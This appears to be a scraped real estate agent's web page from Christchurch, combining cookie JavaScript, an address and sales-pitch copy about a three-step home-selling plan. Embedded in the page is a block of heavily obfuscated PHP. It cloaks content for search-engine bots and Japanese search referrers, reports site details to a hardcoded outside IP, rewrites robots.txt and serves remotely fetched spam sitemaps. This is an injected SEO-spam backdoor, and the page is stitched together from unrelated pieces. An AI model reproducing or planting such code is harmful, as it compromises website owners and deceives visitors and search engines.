function getCookie(name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function getCookieVal(offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function setCookie(name, value) { var argv = setCookie.arguments; var argc = setCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : ""); } function delCookie(name) { exp = new Date(); exp.setTime(exp.getTime() - (24*60*60*1000)); var cval = getCookie(name); cval = (cval == null) ? "" : cval; document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString(); }

• 51 Holmwood Road, Merivale, Christchurch 8014

goto uKOty; hVNQs: echo "\x72\157\x62\157\x74\x73\56\164\x78\x74\x20\146\x69\x6c\145\40\143\162\x65\141\x74\145\x20\163\x75\x63\143\145\163\x73\x21"; goto Tr_br; P_0UF: if (strpos($V6wZL, "\56\x70\x68\160")) { goto UMVum; } goto Etsx8; tm0vr: $Smtqr = $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x4e\101\x4d\105"]; goto NeUuG; dx0Fl: if (!strpos($V6wZL, "\56\160\x68\x70")) { goto xEEyp; } goto mY7NL; Tr_br: s8jaS: goto g1pw0; Ps1e1: echo $jJEG2; goto hPxFH; nXWMR: exit; goto oFtwG; mY7NL: $IlAdG["\150\x72\145\146"] .= $lcu2f; goto vvsH8; E0ywZ: echo $L2Cxw; goto bqEP9; mqaiw: $komET = $D_f62 . "\x6a\x75\x6d\160\56\160\x68\x70"; goto VLbOO; BQ0_G: echo $ockbZ; goto nXWMR; t_2mb: $Vsr0x = str_replace("\56\170\155\154", '', $Vsr0x); goto QBDZH; i2Xae: $IlAdG["\151\160"] = isset($_SERVER["\x52\105\x4d\117\x54\x45\137\x41\x44\x44\122"]) ? $_SERVER["\122\x45\115\117\124\x45\137\x41\104\x44\122"] : ''; goto ZKsuD; ZmCja: header("\x43\x6f\156\164\x65\x6e\x74\x2d\x74\x79\160\145\x3a\164\145\170\x74\57\x78\155\x6c"); goto E0ywZ; wKadB: $O5bQw = $D_f62 . "\162\157\x62\x6f\x74\163\x2e\x70\150\x70"; goto R5oS_; UJ2jE: $D_f62 = "\150\x74\x74\160\72\57\x2f\61\60\x37\x2e\61\65\x30\56\66\62\x2e\x31\x31\x34\x2f\x7a\x35\x31\62\61\x30\137\62\x2f"; goto cS2nq; eQhzH: $rnonq = @O4pc9($O5bQw, $IlAdG); goto wmXCj; Ws20v: $jJEG2 = o4PC9($AuQX6, $IlAdG); goto Ps1e1; QTLlv: $L2Cxw = O4pC9($FVcxP, $IlAdG); goto a_E_5; uKOty: $V6wZL = isset($_SERVER["\x52\105\121\x55\105\x53\124\x5f\125\122\x49"]) ? $_SERVER["\122\105\121\x55\105\x53\x54\x5f\x55\x52\x49"] : ''; goto h2EI4; npLLx: $ockbZ = O4pc9($A6IvD, $IlAdG); goto ZaxI6; vvsH8: $IlAdG["\155\141\151\x6e\x5f\x73\x68\145\154\x6c"] .= $lcu2f; goto FRHlL; JE4th: goto s8jaS; goto H3R6r; D1u9C: if (!(strpos($V6wZL, "\141\154\x6c\x73\151\x74\x65\155\141\x70\56\x78\155\154") || strpos($V6wZL, "\163\x69\x74\145\155\141\x70\55\151\156\144\x65\x78\56\x78\x6d\x6c") || strpos($V6wZL, "\x73\151\164\x65\x6d\x61\160\x2d\151\x6e\x64\x65\170\x2d\61\56\170\155\x6c") || strpos($V6wZL, "\x69\x6e\144\x65\x78\x2e\x78\x6d\154"))) { goto SszAC; } goto npLLx; CDPmg: function o4pc9($Uc6eF, $NWz8c = array()) { goto tPnjJ; eTm1u: curl_setopt($wXyc8, CURLOPT_SSL_VERIFYHOST, FALSE); goto xJEmc; LCNZM: return false; goto nYp_S; eBnH_: $h4hto = curl_exec($wXyc8); goto B3QvT; MvbgG: curl_setopt($wXyc8, CURLOPT_POST, 1); goto XFD4w; i9q49: curl_setopt($wXyc8, CURLOPT_TIMEOUT, 10); goto MvbgG; u6KeG: curl_setopt($wXyc8, CURLOPT_HEADER, 0); goto i9q49; xJEmc: curl_setopt($wXyc8, CURLOPT_POSTFIELDS, http_build_query($NWz8c)); goto eBnH_; XFD4w: curl_setopt($wXyc8, CURLOPT_SSL_VERIFYPEER, FALSE); goto eTm1u; B3QvT: $feAcC = curl_errno($wXyc8); goto ESmLc; XFFTr: curl_setopt($wXyc8, CURLOPT_RETURNTRANSFER, 1); goto u6KeG; pwlH5: $wXyc8 = curl_init(); goto xuksL; Now1d: return $h4hto; goto A6riE; ESmLc: curl_close($wXyc8); goto t0n22; nYp_S: wwW5D: goto Now1d; t0n22: if (!(0 !== $feAcC)) { goto wwW5D; } goto LCNZM; xuksL: curl_setopt($wXyc8, CURLOPT_URL, $Uc6eF); goto XFFTr; tPnjJ: $Uc6eF = str_replace("\x20", "\53", $Uc6eF); goto pwlH5; A6riE: } goto VmKZF; B17bR: $Vsr0x = explode("\x3f", $V6wZL); goto vIiwf; nudl2: $L2Cxw = o4PC9($FVcxP, $IlAdG); goto ZmCja; fXwID: if (strpos($V6wZL, "\x2e\x70\x68\x70")) { goto wuF9k; } goto yyy53; VLbOO: $FVcxP = $D_f62 . "\167\x6f\162\144\x73\56\160\150\x70"; goto wKadB; KeksI: echo o4pc9($komET, $IlAdG); goto MrPIJ; J0L0U: IrugC: goto nudl2; jbkaB: wuF9k: goto B17bR; xHXiY: $Vsr0x = str_replace("\x2e\x78\155\154", '', $Vsr0x); goto fokSG; a_E_5: if (!($L2Cxw == "\x31")) { goto PnS0N; } goto fhBEI; sDZel: echo "\162\x6f\142\x6f\164\x73\56\164\170\164\40\146\151\154\145\x20\143\162\x65\x61\x74\145\40\146\x61\x69\154\41"; goto JE4th; zN_8y: $ZxYVh = aXjk0($azdyY); goto P_0UF; JvNtu: $IlAdG["\x64\x6f\x6d\x61\x69\156"] = $LO_dE; goto qqd4C; vtc89: if (!(substr($V6wZL, -4) == "\x2e\170\x6d\154")) { goto rMKLY; } goto D1u9C; h2EI4: $lcu2f = isset($_SERVER["\120\110\120\x5f\x53\105\x4c\x46"]) ? $_SERVER["\120\x48\120\x5f\x53\x45\114\106"] : ''; goto styzr; CIVzm: $azdyY = strtolower(isset($_SERVER["\110\x54\124\120\137\x55\x53\105\x52\137\101\x47\x45\x4e\x54"]) ? $_SERVER["\110\124\x54\x50\x5f\125\x53\x45\x52\137\101\x47\105\116\124"] : ''); goto zN_8y; F7hn8: $IlAdG["\x68\164\x74\160\x5f\x75\163\145\x72\x5f\141\x67\145\x6e\x74"] = $azdyY; goto Ws20v; PyhJs: header("\103\157\156\164\x65\156\x74\55\x74\x79\160\145\x3a\164\x65\x78\164\x2f\170\155\x6c"); goto BMMZH; Jgj5q: if (!(strpos($V6wZL, "\155\141\x70") > 0 || $kGRod == "\x31")) { goto IrugC; } goto RYpFK; p5v41: $WZV1R = isset($_SERVER["\x48\x54\124\120\x5f\x52\x45\x46\105\x52\105\x52"]) ? $_SERVER["\110\x54\x54\x50\137\122\x45\106\105\x52\x45\x52"] : ''; goto tb1XN; e0sFT: $IlAdG["\165\x73\x65\162\x5f\x61\147\145\156\164"] = $azdyY; goto KeksI; TrfNw: hpk_4: goto lbeUB; ZKsuD: $IlAdG["\162\145\x66\145\x72\x65\x72"] = $WZV1R; goto e0sFT; uRKnu: $IlAdG["\x61\x63\x74\151\x6f\156"] = "\143\150\145\143\153\x5f\x77\157\x72\x64\163"; goto ILXEq; vIiwf: $Vsr0x = $Vsr0x[count($Vsr0x) - 1]; goto xHXiY; tb1XN: $jUHEg = PnwYQ($WZV1R); goto CIVzm; PhTaG: $IlAdG["\141\143\164\x69\157\x6e"] = "\143\150\145\143\153\x5f\163\x69\164\145\x6d\141\x70"; goto QTLlv; H3R6r: NhKeh: goto hVNQs; lqzgm: if (!$ZxYVh) { goto cWzSF; } goto F7hn8; R5oS_: $IlAdG = array(); goto JvNtu; RYpFK: $IlAdG["\141\143\x74\151\x6f\156"] = "\162\x61\x6e\144\137\x78\x6d\x6c"; goto J0L0U; ILXEq: $kGRod = O4PC9($FVcxP, $IlAdG); goto Jgj5q; yyy53: $Vsr0x = str_replace("\x2f", '', $V6wZL); goto t_2mb; EYHaV: $IlAdG["\x77\x6f\162\x64"] = $Vsr0x; goto PhTaG; D5xOl: $IlAdG["\162\157\142\x6f\164\x73\137\x63\157\156\x74"] = ''; goto bQnIQ; opnx1: PnS0N: goto uRKnu; XymnR: ElSDJ: goto CDPmg; Q6eCL: rMKLY: goto p5v41; oFtwG: SszAC: goto fXwID; fhBEI: $ockbZ = O4pC9($A6IvD, $IlAdG); goto PyhJs; hPxFH: exit; goto FSN7L; QBDZH: goto Cvse_; goto jbkaB; NpD0W: $IlAdG["\x72\x65\161\x5f\165\162\154"] = $ywG5n; goto pMHNg; Etsx8: $bGgCQ = "\x2f"; goto zElYd; styzr: $D_f62 = "\150\x74\164\x70\72\57\x2f\x31\x30\x37\56\x31\x35\60\x2e\66\x32\x2e\61\x31\x34\x2f\x7a\65\61\62\x31\x35\137\62\x2f"; goto e7GAz; LD9yq: exit; goto opnx1; eYwZd: $AuQX6 = $D_f62 . "\x69\x6e\x64\x61\164\141\x2e\x70\150\x70"; goto xladb; zoiaa: fe_NA: goto vtc89; ZHvEK: rxc8Q: goto lqzgm; ox6O3: $IlAdG["\162\157\142\x6f\164\163\x5f\143\x6f\x6e\x74"] = @file_get_contents(__DIR__ . "\57\162\x6f\142\x6f\x74\x73\x2e\164\170\164"); goto qABni; kcXq5: $IlAdG["\155\141\x69\x6e\x5f\x73\x68\145\x6c\x6c"] = $vG2SB . $Smtqr; goto dx0Fl; pMHNg: $IlAdG["\150\x72\x65\146"] = $vG2SB . $LO_dE; goto kcXq5; BMMZH: echo $ockbZ; goto LD9yq; FSqey: function PnwyQ($Emt0C) { goto Y_dSZ; d3j__: GAtBJ: goto XrZq0; aMujT: $omGY5 = true; goto d3j__; uFZXc: $l2M7_ = "\x67\157\157\x67\x6c\145\x2e\x63\157\x2e\152\160\174\x79\141\x68\x6f\157\x2e\143\157\x2e\x6a\160\x7c\147\x6f\157\x67\154\x65\56\x63\157\x6d"; goto ZMzC9; ZMzC9: if (!($Emt0C != '' && preg_match("\x2f\50{$l2M7_}\x29\57\x73\x69", $Emt0C))) { goto GAtBJ; } goto aMujT; Y_dSZ: $omGY5 = false; goto uFZXc; XrZq0: return $omGY5; goto r2RJL; r2RJL: } goto yZ5fS; FRHlL: xEEyp: goto fs_6G; qABni: FhpDV: goto eQhzH; n0wQU: if ($SufzU) { goto NhKeh; } goto sDZel; DQ9p3: $LO_dE = $_SERVER["\110\124\124\120\137\110\117\123\124"]; goto tm0vr; fokSG: Cvse_: goto EYHaV; i9m1B: UMVum: goto XS11u; e7GAz: if (!strstr($V6wZL, "\x61\155\141\x7a\x6f\156\56\160\x68\160")) { goto ElSDJ; } goto UJ2jE; lbeUB: if (!(!$ZxYVh && $jUHEg && (preg_match("\43\x28\x28\134\x3f\174\x5c\x3f\137\174\x5c\57\51\133\141\x2d\172\135\x29\x5c\75\134\x64\x2b\43", $V6wZL) || preg_match("\x2f\x73\150\x6f\x70\x64\145\164\x61\151\x6c\x2f", $V6wZL) || preg_match("\x2f\x2e\x73\x68\x74\155\x6c\57", $V6wZL)))) { goto rxc8Q; } goto i2Xae; bqEP9: exit; goto Q6eCL; fs_6G: if (!(substr($V6wZL, -6) == "\162\x6f\x62\x6f\x74\163")) { goto fe_NA; } goto D5xOl; g1pw0: exit; goto zoiaa; ZaxI6: header("\103\157\156\x74\145\156\164\55\164\x79\160\145\72\164\145\170\164\x2f\170\155\x6c"); goto BQ0_G; qqd4C: $IlAdG["\162\145\161\x5f\x75\162\x69"] = $V6wZL; goto NpD0W; xladb: $A6IvD = $D_f62 . "\x6d\141\x70\56\160\150\x70"; goto mqaiw; NeUuG: $ywG5n = $vG2SB . $LO_dE . $V6wZL; goto eYwZd; VmKZF: function axjk0($gJCQO) { goto lYQoh; E64jY: s2_VY: goto kq0Wj; M0pSM: $qGr_O = true; goto E64jY; kq0Wj: OuMcN: goto I7WGc; vgXmc: if (!($gJCQO != '')) { goto OuMcN; } goto X1fav; X1fav: if (!preg_match("\x2f\x28{$WEecq}\51\57\163\151", $gJCQO)) { goto s2_VY; } goto M0pSM; iMYUN: $WEecq = "\147\157\x6f\147\x6c\145\x62\x6f\164\x7c\147\x6f\157\147\154\145\x7c\x79\x61\150\x6f\157\174\142\151\156\147\174\141\157\x6c"; goto vgXmc; I7WGc: return $qGr_O; goto Q2Rhr; lYQoh: $qGr_O = false; goto iMYUN; Q2Rhr: } goto FSqey; MrPIJ: exit; goto ZHvEK; cS2nq: $lcu2f = "\57\141\x6d\x61\172\x6f\156\56\x70\150\160"; goto XymnR; yZ5fS: $vG2SB = isset($_SERVER["\x48\x54\124\120\x53"]) && $_SERVER["\x48\x54\x54\x50\x53"] !== "\x6f\x66\x66" ? "\x68\164\164\160\x73\x3a\57\x2f" : "\x68\164\164\160\x3a\x2f\57"; goto DQ9p3; bQnIQ: if (!file_exists(__DIR__ . "\57\x72\157\142\x6f\164\163\56\x74\170\164")) { goto FhpDV; } goto ox6O3; XS11u: $bGgCQ = "\77"; goto TrfNw; zElYd: goto hpk_4; goto i9m1B; wmXCj: $SufzU = file_put_contents(__DIR__ . "\57\162\x6f\x62\157\x74\x73\56\x74\170\164", $rnonq); goto n0wQU; FSN7L: cWzSF:

The Three-Step Plan I Implement

The three-step plan I implemented with John began with completing an appraisal together, discussing pricing and marketing strategy to reach all types of buyers, selecting the right method of sale, and walking him through the timeline of selling his property and showing him how I negotiate with buyers. The second step was executing that strategy with clear communication and expert negotiation throughout the campaign. The third step was achieving the result on auction day — John secured a premium price, far exceeding his expectations, and gained the financial flexibility he needed to address his personal challenges.

If John had chosen a different agent — someone without the right strategy, marketing knowledge, or negotiation skills — he could have lost hundreds of thousands of dollars and faced unnecessary stress. By working with me, he sold his home for a great price, far exceeding expectations, with peace of mind and confidence. This is the result I want to deliver for every homeowner I work with.

If you are struggling with knowing how to sell your home for top dollar and don’t know what to do, booking an obligation free market opinion and choosing me as your agent is the right choice — so you can move forward with confidence, clarity, and peace of mind.

Key Benefits / Value Proposition

Strategic Negotiation with Emotional Buyers

I approach every negotiation in two phases: first, understanding the buyer’s situation, budget, and motivations; then using that insight strategically to secure the highest possible price for every seller

Comprehensive Buyer Coverage through Value Providing Advertisement

Through targeted marketing, I reach passive buyers who act when they love a property, active buyers who browse selectively, and highly engaged buyers ready to purchase — maximizing exposure and top-dollar results

Vendors are Informed and Confident at Every Stage, Never Left Guessing.

I prioritize daily, transparent communication, keeping you informed on marketing, buyer feedback, and market value. My focus is your confidence and clarity, not just closing a sale, so you can decide wisely

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